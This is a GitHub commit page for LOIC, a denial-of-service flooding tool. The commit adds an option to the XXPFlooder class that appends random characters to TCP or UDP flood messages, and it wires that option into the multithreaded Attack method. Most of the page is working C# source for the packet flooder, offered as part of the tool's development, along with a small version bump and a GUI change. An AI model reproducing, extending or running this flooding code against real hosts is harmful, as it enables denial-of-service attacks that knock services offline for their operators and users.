Permalink
Browse files

Version 1.1.1.4 - Added option to append random chars to TCP or UDP m…

…essage
  • Loading branch information...
1 parent 37e3eb2 commit 7bcb7bae6ce5200213017a01c6e5f8104ca9a1a7 @NewEraCracker committed Sep 30, 2010
Showing with 48 additions and 10 deletions.
  1. +1 −1 Properties/AssemblyInfo.cs
  2. BIN Resources/LOIC.gif
  3. +29 −2 XXPFlooder.cs
  4. +17 −6 frmMain.Designer.cs
  5. +1 −1 frmMain.cs
@@ -13,4 +13,4 @@
[assembly: Guid("312adafc-fdac-484b-84c5-5c5457e47f67")]
-[assembly: AssemblyVersion("1.1.1.3")]
+[assembly: AssemblyVersion("1.1.1.4")]
View
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View
@@ -1,6 +1,7 @@
using System;
using System.Net.Sockets;
using System.ComponentModel;
+using System.Text;
namespace LOIC
{
@@ -22,14 +23,17 @@ public class XXPFlooder
public string Data { get; set; }
- public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string data)
+ private bool random;
+
+ public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string data, bool random)
{
this.IP = ip;
this.Port = port;
this.Protocol = proto;
this.Delay = delay;
this.Resp = resp;
this.Data = data;
+ this.random = random;
}
public void Start()
@@ -40,11 +44,34 @@ public void Start()
bw.RunWorkerAsync();
}
+ private string RandomString()
+ {
+ StringBuilder builder = new StringBuilder();
+ Random random = new Random();
+ char ch;
+ int size = random.Next(5) + 5;
+ for (int i = 0; i < size; i++)
+ {
+ ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * random.NextDouble() + 65)));
+ builder.Append(ch);
+ }
+ return builder.ToString();
+ }
+
private void bw_DoWork(object sender, DoWorkEventArgs e)
{
try
{
- byte[] buf = System.Text.Encoding.ASCII.GetBytes(Data);
+ byte[] buf;
+ if (random == true)
+ {
+ buf = System.Text.Encoding.ASCII.GetBytes(String.Format(Data, RandomString()));
+ }
+ else
+ {
+ buf = System.Text.Encoding.ASCII.GetBytes(Data);
+ }
+
var RHost = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
while (IsFlooding)
{
View

Some generated files are not rendered by default. Learn more.

Oops, something went wrong.
View
@@ -100,7 +100,7 @@ private void Attack(bool toggle, bool on, bool silent)
xxp = new XXPFlooder[iThreads];
for (int a = 0; a < xxp.Length; a++)
{
- xxp[a] = new XXPFlooder(sIP, iPort, iProtocol, iDelay, bResp, sData);
+ xxp[a] = new XXPFlooder(sIP, iPort, iProtocol, iDelay, bResp, sData, chkMsgRandom.Checked);
xxp[a].Start();
}
}

1 comment on commit 7bcb7ba

Owner

NewEraCracker commented on 7bcb7ba Sep 30, 2010

This commit also contains a change in logo and minor changes in GUI

Regards,
NewEraCracker.

Please sign in to comment.